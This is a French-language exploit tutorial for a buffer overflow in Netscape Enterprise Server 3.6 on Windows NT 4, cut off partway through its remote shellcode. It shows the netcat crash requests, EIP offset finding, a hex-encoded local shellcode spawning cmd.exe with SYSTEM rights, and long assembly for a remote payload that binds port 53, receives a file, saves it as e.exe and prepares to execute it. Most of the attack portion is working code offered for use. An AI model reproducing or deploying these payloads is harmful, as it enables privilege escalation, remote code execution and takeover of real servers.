BUFFER OVERFLOW

Programme : Netscape-Enterprise/3.6 SP 2

Plateforme : Windows NT 4 (Workgroup)

Partie 1 : The Buffer Overflow

Voila, tout d'abord, on télécharge le programme sur www.netscape.com armez-vous de patience, il fait 50 mégas hé hé :)
On l'installe (installation par défaut bien sûr), et on se met à la recherche de la faille... (Vous avez en prime un beau serveur web !) Téléchargez NetCat (nc.exe). Ce soft vous permet d'envoyer des données sur un port d'une machine, se sera donc plus pratique, on s'emmerdera pas avec un programme à faire, on le fera plus tard... Comment savoir si il y a une faille de sécurité ?
Et bein... faut tester... tester et encore tester. On va faire un fichier "test.bin" (pour tester hé hé), dans lequel on va mettre une requête pour le server web.
Syntaxe de NetCat : E:\nc.exe [IP] [PORT] < [FILE]
Une requête www se fait comme ça : "GET /robert HTTP/1.0" et deux fois entrée pour télécharger le fichier "robert" à la racine (wwwroot bien sur). On va donc essayer de planter le serveur en envoyant une chaîne trop longue. on met dans test.bin ceci :
"GET /AAAAAAAAAAAAAAAAAAAAAAA[...x beaucoup]AAAAA HTTP/1.0" plus 2 fois entrée
On tape ceci dans un shell dos:
E:\nc 127.0.0.1 80 < test.bin
et là le serveur répond que le fichier est introuvable. On rajoute des 'AAAA' par gros paquets, jusqu'à ce que le serveur plante.
(N.B: si vous mettez trop de 'A' le serveur répondra un autre message d'erreur, enlevez des 'A' dans ce cas là)
Quand le serveur plante, un message d'erreur vous indiquera que l'erreur s'est produite à l'adresse 0x41414141.
Fort bien... Analysons ce qu'il s'est passé.
Ceux qui connaissent un minimum l'assembleur, savent ce que sont les registres du microprocesseurs. L'un deux s'appelle EIP (Extended Instruction Pointer). Il indique au microprocesseur l'adresse de la prochaîne instruction à executer. Lors de l'appel d'une fonction (un CALL), la valeur de EIP est stockée dans la "pile" (stack), et on saute à l'adresse de la fonction. Une fois que la fonction est terminée, elle reviens à l'instruction qui suit le CALL qui l'a appellé. Comment fait-elle cela ? Et bien c'est simple, elle regarde tout simplement dans la pile la valeur de EIP avant le CALL, et elle retourne à cette adresse.
Voila pour le fonctionnement des CALL / RET et de EIP. Que ce passe-t-il donc avec notre exemple ?
Et bien c'est pas compliqué, la chaîne de caractère qu'on envoi au serveur est stockée en mémoire. Le programme alloue (reserve) de la place pour copier la chaîne. Cependant, si le programmeur est feignant, il a pas pris le temps de vérifier la taille de la chaîne. Il copie donc une chaîne en mémoire (ou dans une autre) sans vérifier la taille de l'espace.

Exemple simple :
char BUFFER1[100];    //    un espace pour mettre des données
char BUFFER2[500];    //    un autre

strcpy(BUFFER1,BUFFER2);    //    copie buffer2 dans buffer1

Tout va bien si le buffer2 est inférieur à 100 sinon, les octets en trop sont placés de manière incontrolée, et il peuvent écraser d'autres données ! Il pourrais par exemple écraser la valeur de EIP sauvée dans la pile.
Dans notre exemple, on pourrait schématiser comme ceci :

[                          Place libre                                ][EIP ]
 
 

Ici on met une chaîne "normale", EIP reste à l'adresse ZZZZ
[                                                                     ][EIP ]
 GET /index.htm HTTP/1.0                                                ZZZZ

La fonction retourne donc à ZZZZ, au moment de RET, tout va bien
 

Maintenant, on fais chier notre monde et on met une chaîne trop grande :
[                          Place libre                                ][EIP ]
 GET /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.0
 

La fonction retourne à l'adresse AAAA, puisque la valeur sauvée de EIP est AAAA
AAAA correspond en Hex à 0x41414141, il retourne donc à 0x41414141, cette adresse est invalide, donc Windows NT nous balance un méssage d'erreur comme quoi on a fait un saut illégal !
Il faut cependant determiner quel 'AAAA' du notre grande chaîne est l'adresse de retour ! On fait donc par tatonnement,
on met une chaîne de AAAAAAAAAABBBBBBBBBBB, si il retourne à 0x42424242, on essaie avec                               AAAAAAAAAAAAAAAABBBBB, et ainsi de suite. On trouve donc que l'adresse correspond aux caractères 4070-4074 de notre test.bin , enfin par là quoi, ça m'ennuie de compter ;))

Voila !
Quel est l'interet de tout cela ? Et bien, on peut choisir l'adresse de retour de la fonction !
On va donc examiner à quel endroit il serait interessant de sauter ! (il y a possibilité de jeu de mot vaseu là)

Partie 2 : Examination de cette foutue stack

On est donc parti pour planter/redémarrer le serveur un millier de fois :))
On va utiliser SoftIce, le débugger, pour examiner la pile quand le prog plante.
On garde le même fichier test.bin, on entre dans SoftIce la commande "FAULTS ON" pour qu'il prenne en charge les erreurs.
On fait:  nc 127.0.0.1 80 < test.bin, et là SoftIce apparait ! Great ! Que voit-on ? Et bien le registre EIP est bien à 0x41414141. Le but sera de savoir à quelle adresse se trouve notre buffer, de manière à placer du code executable dedans, qui sera donc executé, si on jump vers notre buffer. OU EST CE BUFFER ?
(Tapez "data", et "code on" dans SoftIce, pour avoir la mémoire et le code héxa)
On va donc examiner la mémoire à la recherche du buffer perdu ! Par exemple, on regarde les registres, ESP (Extended Stack Pointer) est en rapport avec la stack (waou la déduction), on va donc examiner la mémoire vers là ou il pointe (le sommet de la pile en fait). Son adresse est 0x0143FE48. On clique avec le bouton droit sur l'adresse et on fait "DISPLAY". Voila, rien d'interressant, apparemment bien sur. On va donc regarder autour, si il y a pas notre buffer par exemple. Et comme par miracle, on vois que juste au dessus, il y a plein, mais alors plein de AAAAAA. Fantastique. On constate également que vers l'adresse 0x0143EE68, il y a un GET /AAAAAAA...   C'est notre buffer ! ô joie ! On pourrais donc mettre comme adresse de retour 0x0143EE68, si les caractères sont pas trop bizarres pour le server, comme ça il sautera au début de notre buffer (il fait environ 4000 caractères), ce qui nous permettra de mettre du code executable dans le buffer, et le server web se fera un plaisir de l'executer. Reste à coder un shellcode...

Partie 3 : Le shellcode en local

Les possibilités sont assez grandes car le serveur peut executer un shellcode qui nous ouvre un port et qui télécharge un éxecutable par exemple. On va faire en 2 parties. Je vais expliquer comment faire un exploit en LOCAL (fichier local.bin) pour ceux qui sont pas très à l'aise avec l'asm et le principe du buffer overflow. Pour ceux qui s'accrochent comme des crustacés sur leur rocher, je vais vous expliquer comment coder l'exploit en REMOTE (fichier joint : remote.bin) , ce qui est nettement plus interressant ;))
Donc on commence soft...

Le principe est simple :
Le programme tourne avec les privilèges d'Administrateur (maximum quoi, r00t). Si vous êtes un simple utilisateur en soif de pouvoir et que la machine run ce serveur, il vous est donc possible d'avoir les pouvoirs administratif (=bingo). Comment se fais-ce ?
Et bien, le programme tourne avec les privilèges de super-utilisateurs, si notre code ouvre un programme, il tournera avec les même attributs que le processuss "père", donc en administrateur. Le programme le plus interressant à lancer est bien sûr "cmd.exe", qui vous balancera un joli interpreteur de commande (shell) DOS, avec les pouvoirs administratifs, libre à vous ensuite de lancer un trojan pour avoir access à la machine en remote, mais c'est interdit par loi, et c'est moralement répréhensible, ne l'oubliez pas :)  Pour lancer ce programme il nous suffit de lancer le fonction "system", qui lance un executable.
"system" se trouve dans msvcrt.dll, dans \winnt\system32\ bien sûr. On ne peux évidemment pas appeller une fonction directement, il faut l'appeller par son adresse au lieu de son petit nom. Cependant l'adresse change selon la version de la .DLL, mais comme on est en local, il y a pas de prob'. Vous la décompilez, et vous regarder l'adresse de la fonction "system", ou alors vous la prenez pour chez vous est vous regardez avec SoftIce enfin c'est pas trop dur je pense.
Pour moi la fonction "system" est exportée par la DLL à 0x7801CDA7. Ok, c'est noté.
Maintenant, c'est du gâteau. On commence par remplacer nos 'A' (0x41) par des NOPs (0x90). Pourquoi ? Parceque '0x41' représente une instruction ASM qui pourrais tout déglinguer. Alors que 0x90, c'est un NOP, c'est une instruction qui ne fait rien du tout. Notre buffer dois donc contenir le code, qu'on va mettre directement dans notre fichier test.bin avec un éditeur hexadécimal.

Il faut faire plusieur chose : la fonction "system" requiert comme argument, l'adresse de la chaîne "cmd" qui doit être terminée par un caractère NULL. Or, notre buffer ne dois pas contenir de 0x00, sinon, il sera tronqué car 0x00 est une fin de chaîne. On doit donc contourner cela en faisant un xor ebx,ebx et puis push ebx, pour mettre un 0 dans la pile. Voila, pour le problème du 0, c'est réglé.
Que doit on faire ?
Tout d'abord, avoir EBP et ESP au même niveau pour pouvoir utiliser une pile pour y mettre  "cmd"+0x00, car si on regarde ebp quand on fait le RET fatidique, on constate que ebp=00000001h, ce qui est emmerdant pour utiliser une pile.

donc :
    mov ebp, esp

on a donc pour notre pile : EBP et ESP au même niveau, pile vide en fait

Scéma de la stack :
        EBP    ESP

ensuite on doit mettre un 0, qui terminera la chaîne "cmd"
on xor un registre pour le mettre à 0

    xor ebx, ebx
    push ebx

ebx fait 4 bytes (dword car e=extended) , donc la pile est donc comme cela maintenant :

        EBP
00
00
00
00
        ESP

on a besoin de 3 caractères pour placer "cmd" dans la pile, c'est parti

mov byte ptr [EBP-4], 63h        c
mov byte ptr [EBP-3], 6Dh       m
mov byte ptr [EBP-2], 64h        d
    et on laisse [EBP-1] à zéro    00 (on n'y touche pas)

(N.B : on pourrait évidemment utiliser ESP comme référence, on aurait mov byte ptr [esp+3],63h  etc...)

Notre pile sera donc remplie comme ça :

     EBP
00              NULL         EBP-1
64               d           EBP-2
6D               m           EBP-3
63               c           EBP-4
     ESP

On a donc mis la chaîne qu'on voulait dans notre pile. Il faut maintenant mettre cette adresse dans la pile, pour la passer comme argument à "system". On doit donc d'abord empiler l'adresse de la fonction "system",

    mov eax, 7801CDA7h
    push eax

Tranquille ! On pourra donc appeller la fonction "system" en faisant un call vers [EBP-8].
La suite maintenant, on empile le paramètre de la fonction "system" à savoir l'adresse de "cmd", on doit tout simplement empiler l'adresse du premier caractère, à savoir le "c" qui se trouve à [EBP-4] normalement (comptez les lignes sur mes schémas), on va mettre l'adresse [EBP-4] dans eax, puis on va le pusher, ce brave eax.

    lea eax, [EBP-4]
    push eax

Maintenant il reste plus qu'à appeller la fonction "system", on dois faire un call vers son adresse, que l'on a empilé juste avant l'adress de la chaîne.
La pile est maintenant ainsi :

     EBP
00             NULL         ...
64               d          ...
6D               m          ...
63               c         EBP-4
A7            ---------    EBP-5
CD            Adresse de   EBP-6
01            system       EBP-7
78            ---------    EBP-8
XX            ---------
XX            Adresse de
XX            "cmd"
XX            ---------
        ESP

Après nos push, l'adresse de "system", que l'on a pushée se trouve à EBP-8 d'après mon (joli) dessin de la pile
reste à appeller cette adresse :

    call dword ptr [ebp-8]

Normalement, on a une superbe fenêtre de commande MS-DOS, qui s'ouvre. Et les privilèges sont ceux de l'administrateur. En fait non, car le serveur run avec l'utilisateur SYSTEM par défaut mais c'est aussi puissant que l'administrateur.
Voila, on a terminé avec le shellcode, ce qui donne, le tout compilé et terminé :

char ShellCode [] =
        "\x8B\xEC\x33\xC9\x51\xC6\x45\xFC\x63\xC6\x45\xFD\x6D\xC6\x45"

        "\xFE\x64\xB8\x
A7\xCD\x01\x78\x50\x8D\x45\xFC\x50\xFF\x55\xF8"

Après libre à vous de faire un prog pour evoyer ça sur le port 80 si vous voulez, je n'en vois pas l'utilité personnellement. Les quatres bytes en jaune c'est l'adresse de "system" (inversée) , qui est susceptible de changer selon la version de la DLL.
Je joins un fichier LOCAL.bin, pour faire marcher mon exploit, vous faîtes simplement :
nc 127.0.0.1 80 < local.bin,
ou, plus simplement, vous ouvrez LOCAL.bin, vous séléctionnez le texte, vous faîte "copier", vous ouvrez un Telnet sur le port 80 de votre machine, vous faîtes "coller", et un beau shell administrateur apparaîtra, sous reserve d'avoir changé l'adresse de "system" (inversez l'adresse) dans le fichier local.bin, par celle correspondant à votre DLL. Tranquille non ? (non ? Pfff, qu'est-ce qu'il vous faut !)
On passe maintenant à la partie un peu plus hard, j'espère ne pas en avoir laché trop :)

Partie 4 : Le shellcode en remote (remote admin ! yeah !)

Maintenant, l'affaire va se corser sérieusement.
J'explique pourquoi. En fait, dans l'exemple précédent, on a utilisé 1 seule fonction. C'était "system". Or, on ne connaissait pas l'adresse de cette fonction. Mais en local, ce n'est pas un problème car on peut ouvrir le fichier DLL qui contient la fonction et regarder à quelle offset elle se trouve. Rien de plus facile. Cependant, là, on est en remote. Pour pouvoir appeller une fonction, hors de question de l'appeller par une adresse qu'on a choisit (=hardcoded) Car les adresses des fonctions utilisées changent selon l'OS, la version, l'installation, les updates faîtes, bref, c'est le vrai bordel. Comment allons-nous donc nous en sortir pour conaître les adresses des fonctions ? Et bien c'est simple, on va utiliser 2 fonctions, LoadLibraryA et GetProcAddress
. LoadLibraryA va nous permettre de... disons... loader une DLL ;) et GetProcAddress va nous permettre de connaître l'adresse de chaque fonction contenue dans cette Dynamic Link Library. Je vous balance la syntaxe :

HINSTANCE LoadLibrary(

    LPCTSTR lpLibFileName  // address of filename of executable module
   );

FARPROC GetProcAddress(

    HMODULE hModule,   // handle to DLL module
    LPCSTR lpProcName  // name of function
   );

Voila. Le principe est le suivant. Admettons que j'ai la chaîne "kernel32.dll" en mémoire, pointée par PTR (avec un NULL).
On va faire,
            LibHandle=LoadLibraryA(PTR);
Ensuite, si on a "CreateProcess" terminée par un caractère NULL également, pointée par PTR2.
On va faire, sous réserve que LibHandle ne soit pas NULL,

       addr=GetProcAddress(LibHandle,PTR2);

Et là, addr contiendra l'adresse de la fonction "CreateProcess" du module "kernel32.dll", En appellant cette adresse, on appelle la fonction. C'est pas beau ça ?
L'interet ? Et bien on va créer ce qu'on appelle une jump table (voir article de DilDog la dessus). En fait, un fichier executable, a une jump table au début qui lui permet d'appeller les fonctions en faisant un call vers sa jump table. Et bien on va faire de même ici :)
On gros il faut que l'on ait, quelque part en mémoire, les adresses des fonctions que l'on va utiliser.
Reste un petit souci, celui des fonctions GetProcAddress et LoadLibraryA... et oui... comment connaître leur adresse si pour la connaître il faut les appeller, sachant qu'on ne peut les appeller sans leur adresse... etc...etc... C'est à devenir fou à lier.
En fait, on est quasiment sur que le programme va les utiliser, elles résident donc dans sa jump table. On décompile le prog "httpd.exe" et on recherche "LoadLibraryA" par exemple. Mais on ne la trouve pas. Bon, d'accord, le prog n'utilise pas cette fonction. Ce n'est rien, on décompile une DLL que le prog utilise forcement, à savoir E:\winnt\system32\ns-httpd36.dll
On décompile cette DLL et on constate qu'elle exporte nos deux fonctions à :

GetProcAddress        :100E770C hex
LoadLibraryA          :100E7710 hex

Voila. On va pouvoir charger toutes les addresses des fonctions que l'on veut !
Je le dit tout de suite, je m'inspire pour l'exploit d'un exploit de _rix  (bonjour à toi,_rix  en passant :)
Le principe est le suivant :
On va ouvrir un port, attendre une connection, télécharger un fichier qu'on nous envoi par ce port, et executer ce fichier.
C'est un grand classique des exploits, ça plait beaucoup :)
Ou va choisir le port 53. Pourquoi ? Parce que c'est un port non filtré par un firewall en général, et qui me plait bien ;)
Il nous faudra les fonctions suivantes pour établir et utiliser une connexion :
socket    listen    bind    accept    recv    closesocket     
   (Elles sont dans wsock32.dll)
Il nous faudra ces fonctions pour gérer le fichier, l'executer...
_lcreat    _lwrite    _lclose    WinExec

Ces fonctions permettent de terminer le programme discrètement...
GetCurrentProcess    TerminateProcess

On aura égelement besoin de GlobalAlloc pour avoir un peu de mémoire pour mettre diverses valeurs.
Toutes ces fonctions sont exportées par Kernel32.dll

On aura donc besoin ce toutes ces chaînes de caractères :
"kernel32.dll","GLobalAlloc",TerminateProcess","GetCurrentProcess","WinExec","_lcreat","_lwrite","_lclose"

"wsock32.dll","socket","bind","listen","accept","recv","closesocket"

"e.exe"
<- c'est le nom du fichier .exe qu'on va lancer (on le créé puis on l'execute)

On va donc, pour plus de portabilité, copier toutes ces chaînes en mémoire, caractère par caractère. C'est laborieux, je sais, mais au moins, on sait ou on les mets avec précisions :))
Pendant l'execution du programme, j'ai vu qu'il se servait de la zone mémoire aux alentours de 0x00CE15??. On peut par exemple copier nos chaîne à cet endroit.
Au fait, on doit mettre un 0 à chaque fin de chaîne. Je met donc un 22h (ou n'importe quoi) puis je xor le 22h par un 22h ce qui à pour effet de mettre à 0 le byte en mémoire ok ? car NB XOR NB = NULL
Bon c parti pour le début :)

  mov ebx,not 00CE1528h            // on met tout à partir de cette adresse (ou une autre)
 not ebx                          // les not sont pour éviter le 00
 mov byte ptr [ebx],6Bh ;k        // on place le "k" à 0x00CE1528
 inc ebx                          // incrémente ebx, ebx=0x00CE1529
 mov byte ptr [ebx],65h ;e        // on place le "e" à 0x00CE1529
 inc ebx                          // et ainsi de suite...
 mov byte ptr [ebx],72h ;r
 inc ebx
 mov byte ptr [ebx],6Eh ;n
 inc ebx
 mov byte ptr [ebx],65h ;e
 inc ebx
 mov byte ptr [ebx],6Ch ;l
 inc ebx
 mov byte ptr [ebx],33h ;3
 inc ebx
 mov byte ptr [ebx],32h ;2
 inc ebx
 mov byte ptr [ebx],2Eh ;.
 inc ebx
 mov byte ptr [ebx],64h ;d
 inc ebx
 mov byte ptr [ebx],6Ch ;l
 inc ebx
 mov byte ptr [ebx],6Ch ;l
 inc ebx
 mov byte ptr [ebx],22h ;NULL
 xor byte ptr [ebx],22h
 inc ebx
 mov byte ptr [ebx],47h ;G
 inc ebx
 mov byte ptr [ebx],6Ch ;l
 inc ebx
 mov byte ptr [ebx],6Fh ;o
 inc ebx
 mov byte ptr [ebx],62h ;b
 inc ebx
 mov byte ptr [ebx],61h ;a
 inc ebx
 mov byte ptr [ebx],6Ch ;l
 inc ebx
 mov byte ptr [ebx],41h ;A
 inc ebx
 mov byte ptr [ebx],6Ch ;l
 inc ebx
 mov byte ptr [ebx],6Ch ;l
 inc ebx
 mov byte ptr [ebx],6Fh ;o
 inc ebx
 mov byte ptr [ebx],63h ;c
 inc ebx
 mov byte ptr [ebx],22h ;NULL
 xor byte ptr [ebx],22h
 inc ebx
 mov byte ptr [ebx],54h ;T
 inc ebx
 mov byte ptr [ebx],65h ;e
 inc ebx
 mov byte ptr [ebx],72h ;r
 inc ebx
 mov byte ptr [ebx],6Dh ;m
 inc ebx
 mov byte ptr [ebx],69h ;i
 inc ebx
 mov byte ptr [ebx],6Eh ;n
 inc ebx
 mov byte ptr [ebx],61h ;a
 inc ebx
 mov byte ptr [ebx],74h ;t
 inc ebx
 mov byte ptr [ebx],65h ;e
 inc ebx
 mov byte ptr [ebx],50h ;P
 inc ebx
 mov byte ptr [ebx],72h ;r
 inc ebx
 mov byte ptr [ebx],6Fh ;o
 inc ebx
 mov byte ptr [ebx],63h ;c
 inc ebx
 mov byte ptr [ebx],65h ;e
 inc ebx
 mov byte ptr [ebx],73h ;s
 inc ebx
 mov byte ptr [ebx],73h ;s
 inc ebx
 mov byte ptr [ebx],22h ;NULL
 xor byte ptr [ebx],22h
 inc ebx
 mov byte ptr [ebx],47h ;G
 inc ebx
 mov byte ptr [ebx],65h ;e
 inc ebx
 mov byte ptr [ebx],74h ;t
 inc ebx
 mov byte ptr [ebx],43h ;c
 inc ebx
 mov byte ptr [ebx],75h ;u
 inc ebx
 mov byte ptr [ebx],72h ;r
 inc ebx
 mov byte ptr [ebx],72h ;r
 inc ebx
 mov byte ptr [ebx],65h ;e
 inc ebx
 mov byte ptr [ebx],6Eh ;n
 inc ebx
 mov byte ptr [ebx],74h ;t
 inc ebx
 mov byte ptr [ebx],50h ;P
 inc ebx
 mov byte ptr [ebx],72h ;r
 inc ebx
 mov byte ptr [ebx],6Fh ;o
 inc ebx
 mov byte ptr [ebx],63h ;c
 inc ebx
 mov byte ptr [ebx],65h ;e
 inc ebx
 mov byte ptr [ebx],73h ;s
 inc ebx
 mov byte ptr [ebx],73h ;s
 inc ebx
 mov byte ptr [ebx],22h ;NULL
 xor byte ptr [ebx],22h
 inc ebx
 mov byte ptr [ebx],57h ;W
 inc ebx
 mov byte ptr [ebx],69h ;i
 inc ebx
 mov byte ptr [ebx],6Eh ;n
 inc ebx
 mov byte ptr [ebx],45h ;E
 inc ebx
 mov byte ptr [ebx],78h ;x
 inc ebx
 mov byte ptr [ebx],65h ;e
 inc ebx
 mov byte ptr [ebx],63h ;c
 inc ebx
 mov byte ptr [ebx],22h ;NULL
 xor byte ptr [ebx],22h
 inc ebx
 mov byte ptr [ebx],5Fh ;_
 inc ebx
 mov byte ptr [ebx],6Ch ;l
 inc ebx
 mov byte ptr [ebx],63h ;c
 inc ebx
 mov byte ptr [ebx],72h ;r
 inc ebx
 mov byte ptr [ebx],65h ;e
 inc ebx
 mov byte ptr [ebx],61h ;a
 inc ebx
 mov byte ptr [ebx],74h ;t
 inc ebx
 mov byte ptr [ebx],22h ;NULL
 xor byte ptr [ebx],22h
 inc ebx
 mov byte ptr [ebx],5Fh ;_
 inc ebx
 mov byte ptr [ebx],6Ch ;l
 inc ebx
 mov byte ptr [ebx],77h ;w
 inc ebx
 mov byte ptr [ebx],72h ;r
 inc ebx
 mov byte ptr [ebx],69h ;i
 inc ebx
 mov byte ptr [ebx],74h ;t
 inc ebx
 mov byte ptr [ebx],65h ;e
 inc ebx
 mov byte ptr [ebx],22h ;NULL
 xor byte ptr [ebx],22h
 inc ebx
 mov byte ptr [ebx],5Fh ;_
 inc ebx
 mov byte ptr [ebx],6Ch ;l
 inc ebx
 mov byte ptr [ebx],63h ;c
 inc ebx
 mov byte ptr [ebx],6Ch ;l
 inc ebx
 mov byte ptr [ebx],6Fh ;o
 inc ebx
 mov byte ptr [ebx],73h ;s
 inc ebx
 mov byte ptr [ebx],65h ;e
 inc ebx
 mov byte ptr [ebx],22h ;NULL
 xor byte ptr [ebx],22h
 inc ebx
 mov byte ptr [ebx],77h ;w
 inc ebx
 mov byte ptr [ebx],73h ;s
 inc ebx
 mov byte ptr [ebx],6Fh ;o
 inc ebx
 mov byte ptr [ebx],63h ;c
 inc ebx
 mov byte ptr [ebx],6Bh ;k
 inc ebx
 mov byte ptr [ebx],33h ;3
 inc ebx
 mov byte ptr [ebx],32h ;2
 inc ebx
 mov byte ptr [ebx],2Eh ;.
 inc ebx
 mov byte ptr [ebx],64h ;d
 inc ebx
 mov byte ptr [ebx],6Ch ;l
 inc ebx
 mov byte ptr [ebx],6Ch ;l
 inc ebx
 mov byte ptr [ebx],22  ;NULL
 xor byte ptr [ebx],22
 inc ebx
 mov byte ptr [ebx],73h ;s
 inc ebx
 mov byte ptr [ebx],6Fh ;o
 inc ebx
 mov byte ptr [ebx],63h ;c
 inc ebx
 mov byte ptr [ebx],6Bh ;k
 inc ebx
 mov byte ptr [ebx],65h ;e
 inc ebx
 mov byte ptr [ebx],74h ;t
 inc ebx
 mov byte ptr [ebx],22h ;NULL
 xor byte ptr [ebx],22h
 inc ebx
 mov byte ptr [ebx],62h ;b
 inc ebx
 mov byte ptr [ebx],69h ;i
 inc ebx
 mov byte ptr [ebx],6Eh ;n
 inc ebx
 mov byte ptr [ebx],64h ;d
 inc ebx
 mov byte ptr [ebx],22h ;NULL
 xor byte ptr [ebx],22h
 inc ebx
 mov byte ptr [ebx],6Ch ;l
 inc ebx
 mov byte ptr [ebx],69h ;i
 inc ebx
 mov byte ptr [ebx],73h ;s
 inc ebx
 mov byte ptr [ebx],74h ;t
 inc ebx
 mov byte ptr [ebx],65h ;e
 inc ebx
 mov byte ptr [ebx],6Eh ;n
 inc ebx
 mov byte ptr [ebx],22h ;NULL
 xor byte ptr [ebx],22h
 inc ebx
 mov byte ptr [ebx],61h ;a
 inc ebx
 mov byte ptr [ebx],63h ;c
 inc ebx
 mov byte ptr [ebx],63h ;c
 inc ebx
 mov byte ptr [ebx],65h ;e
 inc ebx
 mov byte ptr [ebx],70h ;p
 inc ebx
 mov byte ptr [ebx],74h ;t
 inc ebx
 mov byte ptr [ebx],22h ;NULL
 xor byte ptr [ebx],22h
 inc ebx
 mov byte ptr [ebx],72h ;r
 inc ebx
 mov byte ptr [ebx],65h ;e
 inc ebx
 mov byte ptr [ebx],63h ;c
 inc ebx
 mov byte ptr [ebx],76h ;v
 inc ebx
 mov byte ptr [ebx],22h ;NULL
 xor byte ptr [ebx],22h
 inc ebx
 mov byte ptr [ebx],63h ;c
 inc ebx
 mov byte ptr [ebx],6Ch ;l
 inc ebx
 mov byte ptr [ebx],6Fh ;o
 inc ebx
 mov byte ptr [ebx],73h ;s
 inc ebx
 mov byte ptr [ebx],65h ;e
 inc ebx
 mov byte ptr [ebx],73h ;s
 inc ebx
 mov byte ptr [ebx],6Fh ;o
 inc ebx
 mov byte ptr [ebx],63h ;c
 inc ebx
 mov byte ptr [ebx],6Bh ;k
 inc ebx
 mov byte ptr [ebx],65h ;e
 inc ebx
 mov byte ptr [ebx],74h ;t
 inc ebx
 mov byte ptr [ebx],22h ;NULL
 xor byte ptr [ebx],22h
 inc ebx
 mov byte ptr [ebx],65h ;e
 inc ebx
 mov byte ptr [ebx],2Eh ;.
 inc ebx
 mov byte ptr [ebx],65h ;e
 inc ebx
 mov byte ptr [ebx],78h ;x
 inc ebx
 mov byte ptr [ebx],65h ;e
 inc ebx
 mov byte ptr [ebx],22h ;NULL
 xor byte ptr [ebx],22h

En fait, j'ai pris ebx plutôt que eax car l'instruction "inc eax" contient un caractère illégal pour notre buffer. De même je me suis embété à faire un "inc ebx" à chaque fois, car si je bidouillait avec les adresses ou que je mettais mov byte ptr[ebx+...], ...
Et bien au bout d'un moment il y avait des 0000000 ça n'allait donc pas. Je dis ça pour pas avoir de commentaires du style : "Pourquoi tu t'es embété à faire 10000 inc ebx ?" Comme ça, ça fonctionne.
De plus notre buffer est assez grand (4093 chars :))

Ensuite, on va charger les adresses des fonctions pour nous constituer une jump table bien sympathique :)

 mov eax,not 00CE1528h ; on push offset de "Kernel32.dll\0"
 not eax               ; les not, c pour éliminé le 00 encore une fois
 push eax              ; Seul paramètre de LoadlibraryA, l'adresse de la chaîne "kernel32.dll"

 mov eax,100E7710h     ; offset de l'offset de LoadLibraryA (dans la DLL)
 call dword ptr [eax]  ; Appelle LoadLibraryA
 mov edx,eax           ; Sauve le handle de KERNEL32 dans edx

 push edx              ; on push edx pour pouvoir réutiliser le Handle pour chaque fonction

 mov eax,not 00CE1535h ; on push l'offset de "GlobalAlloc\0"
 not eax
 push eax              ; Dernier Paramètre de GetProcAddress
 push edx              ; on push le handle de KERNEL32 (reçu par LoadLibraryA)
 mov ebx,100E770Ch     ; Adresse de l'adresse de GetProcAddress (Dans la DLL)
 call dword ptr [ebx]  ; call GetProcAddress
 mov dword ptr [ebp+4],eax ; On met l'addresse de GlobalAlloc à [ebp+4]

 pop edx           ; récupère et sauve le handle de Kernel32.dll
 push edx

 mov eax,not 00CE1541h  ; TerminateProcess, idem
 not eax
 push eax
 push edx
 mov ebx,100E770Ch
 call dword ptr [ebx]
 mov dword ptr [ebp+8],eax

 pop edx
 push edx

Et on répète ça pour toutes les fonctions.....Inlassablement.....Pour les fonctions de winsock aussi.....et....
Voila. Un petit éclaircissement sur ce qu'on a. On a les adresses des adresses de toutes nos fonctions après ebp
On sait que la pile est sous ebp, donc pas de problème si on a des données vitales après ebp, ça risque de tout casser après l'execution de notre code, c'est tout, et en s'en fout de ça :))

On a donc sauvées ce que retourne GetProcAddress après ebp, on a donc ce petit tableau sympathique :

    Fonction                      Adrresse ou l'appeller

    GlobalAlloc                   EBP+4
    TerminateProcess              EBP+8
    GetCurrentProcess             EBP+12
    WinExec                       EBP+16
    _lcreat                       EBP+20
    _lwrite                       EBP+24
    _lclose                       EBP+28
    socket                        EBP+56 *voir après
    bind                          EBP+36
    listen                        EBP+40
    accept                        EBP+44
    recv                          EBP+48
    closocket                     EBP+52

L'adresse pour socket n'est pas 32 car c'est égal à 20 en hexadécimal, ce qui correspond à un espace, le serveur ne l'accepte donc pas.On pourra appeller WinExec par exemple, en faisant  call dword ptr [ebp+16].
Ce qui est parfait ! Il ne reste plus que le plus facile. L'exploit lui-même, maintenant qu'on a contourné la difficultés des shellcodes windows.

On va allouer de la mémoire pour y mettre des données telles que les socket file descriptors, ou la structure sockaddr_in.

 mov eax,not 32        ; 32 bytes à allouer
 not eax
 push eax              ; push le dernier argument, nb de bytes
 mov eax,not GPTR
 not eax
 push eax             ; push GPTR, le premier arguments
 call dword ptr [ebp+4] ; Call GlobalAlloc
 mov esi,not 32
 not esi
 add esi,eax           ; on a de la mémoire allouée de [esi-32] à [esi]
                       ; pour mettre ce qu'on veut
 xor eax,eax
 mov ax,not AF_INET
 not ax
 mov [esi-16],ax       ; on met AF_INET dans sockaddr_in.sinfamily
 mov ax,not 3500h      ; port 53 en netword byte order
 not ax                ; car : 53 = 0035h = 3500h en network byte order
 mov [esi-14],ax       ; on met le port dans sinport

 mov eax,not IPPROTO_TCP
 not eax
 push eax                ; dernier argument
 mov eax,not SOCK_STREAM
 not eax
 push eax                ; second argument
 mov eax,not AF_INET
 not eax
 push eax                ; premier argument
 call dword ptr [ebp+56]  ; socket
 mov [esi-20],eax         ; sauve le socket fd dans [esi-20]
 

 mov eax,not 16           ; taille de la structure
 not eax
 push eax                ; push le second argument
 mov eax,esi
 sub eax,16
 push eax                 ; push le premier argument
 push [esi-20]
 call dword ptr [ebp+36]  ; bind(sock,&sin,taille_sin)

 mov eax,not 1
 not eax
 push eax                ; push 1
 push [esi-20]           ; push le socket fd serveur
 call dword ptr [ebp+40]  ; listen(sock,1)

 xor ebx,ebx
 push ebx                ; push NULL
 push ebx                ; push NULL
 push [esi-20]           ; push sockfd
 call dword ptr [ebp+44] ; "accept"   accept(sock,NULL,NULL)
 mov [esi-24],eax        ; sauve le handle du socket client accepté dans [esi-24]

 xor ebx,ebx
 push ebx               ; push NULL
 mov eax,not 00CE15BBh  ; addresse ou il y a "e.exe"+00
 not eax
 push eax               ; addresse du nom du fichier
 call dword ptr [ebp+20];_lcreat
 mov [esi-32],eax       ;sauve le handle du fichier dans [esi-32]
 

 mov eax,not 32000      ; buffer de 32000 bytes
 not eax
 push eax               ; push 32000
 mov eax,not GPTR
 not eax
 push eax                ; push GPTR
 call dword ptr [ebp+4]  ; GlobalAlloc
 mov [esi-28],eax        ; addresse du buffer sauvée dans [esi-28]

1:
 push ebx
